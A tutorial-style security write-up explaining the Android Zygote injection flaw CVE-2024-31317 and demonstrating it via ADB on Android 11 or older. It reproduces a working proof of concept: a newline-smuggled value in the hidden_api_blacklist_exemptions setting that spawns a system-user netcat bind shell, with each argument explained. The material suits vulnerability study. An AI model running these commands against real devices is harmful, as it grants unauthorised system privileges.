Exploiting Android Zygote Injection (CVE-2024–31317)
How Android Zygote Injection Enables System-Wide Code Execution and Privilege Escalation

Introduction
Android’s Zygote process plays a crucial role in the operating system, responsible for forking new applications and system processes. However, CVE-2024–31317 exposes a critical vulnerability that allows attackers to exploit Zygote injection — a technique that enables code execution with system-wide privileges.
In this article, we’ll go over the background of the Android Zygote process, followed by an in-depth look at the Zygote injection vulnerability and how it can be exploited on devices running Android 11 or older.
Android Zygote Background
The Zygote process’s role in the Android OS can be explained through the diagram below. When an Android device powers on, the bootloader loads the Linux kernel into memory and starts executing. The kernel performs hardware initialisation, mounts the root filesystem, and prepares the environment for user-space processes.
Once this setup is complete, the kernel launches the initialisation daemon as the first process in memory. This daemon is responsible for starting essential Android services, including the Zygote process, which forks all application and system-level processes. The Zygote process runs with system privileges, and is a critical component of the Android runtime environment.

After the Zygote starts, the first process it spawns is the System Server. The System Server is responsible for managing most of Android’s core services, and initialises several important components before other apps can start. Without the System Server, Android would not be able to manage applications, permissions, or system behaviour.
Whenever a new process needs to be started, the System Server issues a command to Zygote, which runs as a daemon and accepts instructions at /dev/socket/zygote
. Zygote’s wire protocol defines where one command ends and another begins as follows:
- Each command is UTF-8 text, and starts with a decimal number.
- The decimal number indicates the number of arguments that follow.
- Each argument is placed on a separate line.
- The line after the final argument begins the next command.
The following is an example of a typical process spawn command, followed by a special --set-api-denylist-exemptions
command:

Every command by default results in a new process being spawned, and the arguments specify the details of that process. Certain special arguments override that default however, causing Zygote perform a different action instead.
The Zygote Injection Vulnerability (CVE-2024–31317)
Zygote Injection (CVE-2024–31317) is a high-risk vulnerability that enables attackers to achieve malicious code execution with system-wide privileges. In the example below, we’ll demonstrate how this vulnerability can be exploited to escalate privileges from the shell user to the system user on a device with USB debugging enabled.
Meta Red Team X found a global setting in Android, called hidden_api_blacklist_exemptions
, whose value is included directly in a Zygote command. This setting allows certain apps to bypass Android’s hidden API restrictions. System Server doesn’t expect this setting to contain newlines, and does not escape them when passing this command to the Zygote process.
The vulnerable code can be seen in System Server’s source code, where the update()
method is called whenever the hidden_api_blacklist_exemptions
setting is changed for any reason. This setting contains a comma-separated list of strings which gets split into an array and passed into ZYGOTE_PROCESS.setApiDenylistExemptions()
.

Since hidden_api_blacklist_exemptions
is directly included in Zygote’s command-line arguments, injecting newlines (\n
) allows an attacker to append arbitrary Zygote commands. Zygote treats these injected commands as legitimate, allowing arbitrary code execution with system-wide impact.
Exploiting the Vulnerability via ADB Shell
The hidden_api_blacklist_exemptions
setting can only be modified by apps with the WRITE_SECURE_SETTINGS
permission. While unprivileged apps cannot alter this setting, some preinstalled system apps can.
Importantly, ADB Shell has the WRITE_SECURE_SETTINGS
permission, meaning we can exploit the Zygote injection vulnerability through ADB via the settings
command. The following PoC (obtained from this GitHub gist) exploits the Zygote Injection vulnerability and allows us to escalate our privileges to those of the system user.
Firstly, we stop the settings app to ensure our payload can take effect when the application is restarted. Then, we inject our payload into the hidden_api_blacklist_exemptions
setting. We start off by following the API signature format expected by Zygote and insert a dummy placeholder ("LClass1;->method1
), but immediately afterwards we insert a newline character and specify our malicious Zygote command.
am force-stop com.android.settings
settings put global hidden_api_blacklist_exemptions "LClass1;->method1(
15
--runtime-args
--setuid=1000
--setgid=1000
--runtime-flags=2049
--mount-external-full
--target-sdk-version=29
--setgroups=3003
--nice-name=runnetcat
--seinfo=platform:su:targetSdkVersion=29:complete
--invoke-with
toybox nc -s 127.0.0.1 -p 1234 -L /system/bin/sh -l;
--instruction-set=arm
--app-data-dir=/data/
--package-name=com.android.settings
android.app.ActivityThread
"
am start -a android.settings.SETTINGS
nc localhost 1234
The malicious Zygote command’s arguments are as follows:
--runtime-args
specifies that the process should be treated as an Android runtime process.--setuid/setgid=1000
sets the user and group IDs of the process to the system user’s ID.--runtime-flags=2049
sets the process as debuggable and allowed to execute dynamic code.--mount-external-full
ensures the process is given full access to external storage.--target-sdk-version=29
forces the process to behave as if it were running on Android 10.--setgroups=3003
adds the process to theAID_NET
group, allowing it to initiate network connections.--nice-name=runnetcat
sets the process name torunnetcat
, making it identifiable in system logs.--seinfo=platform:su:targetSdkVersion=29:complete
manipulates the SELinux security context of the process. Specifically, this argument indicates that the application should be run as a system app which targets Android 10 (SDK version 29).su
did not have a notable effect during testing, and could be removed.
The most important part of the exploit is located in the --invoke-with
argument. This argument allows specifying a command to execute before the process actually runs. In this case, netcat is executed, binding a shell to localhost on port 1234. The -L
flag ensures netcat keeps running persistently, even after the initial connection is closed, and /system/bin/sh -l
launches a full interactive shell, allowing us to execute commands as the system user:
--invoke-with toybox nc -s 127.0.0.1 -p 1234 -L /system/bin/sh -l;
The remaining arguments specify the following:
--instruction-set=arm
sets the CPU architecture of the process to ARM. This is necessary as Android supports both ARM and x86 architectures.--app-data-dir=/data/
sets the process working directory is to the/data/
directory.- The process package name is set to
com.android.settings
Finally, we terminate our Zygote command with "
, completing the injection. At this stage, the payload has not been executed yet, although the hidden_api_blacklist_exemptions
setting has been modified. These changes do not take effect until Zygote spawns a new process, which leads us to the next step.
After executing am start -a android.settings.SETTINGS
, the System Server detects the change in hidden_api_blacklist_exemptions
and forwards the updated exemptions to Zygote, after which the injected command will be executed, and our payload will be active. The system-level shell can be connected to by entering nc localhost 1234
, which completes the privilege escalation from shell
to system
.
The image below demonstrates how this vulnerability can be exploited on an emulator running Android 10, successfully elevating from shell
to system
.

whoami
command. [Image created by author]A Warning About Device Bootloops
After executing this exploit, restarting your device may cause it to enter a bootloop. This happens because we have modified the hidden_api_blacklist_exemptions
setting, which persists across reboots and directly affects how Zygote spawns processes. Since Zygote is critical for launching system processes, any misconfiguration or corruption in its execution flow can prevent Android from booting properly.
While your device is in this state, you may still be able to access it via ADB Shell. This connection can be used to delete the hidden_api_blacklist_exemptions
setting, restoring normal Zygote behavior:
adb shell
settings delete global hidden_api_blacklist_exemptions
reboot
Once the device reboots, it should start normally. However, this will also remove the injected payload, meaning you will need to repeat the exploitation steps to regain a system shell.
Conclusion
In this article, we explored the Android Zygote injection vulnerability, and demonstrated how it can be exploited via ADB Shell on devices running Android 11 or older. For more information on this vulnerability, please read the great articles linked below, which also detail some methods for exploiting this vulnerability on Android 12 and above.
Thank You
Congratulations on making it to the end of this article! I hope you found the content informative and understood the vulnerability and how we exploited it. If you enjoyed the article, please consider following me, checking out my other articles, and giving this article a few claps!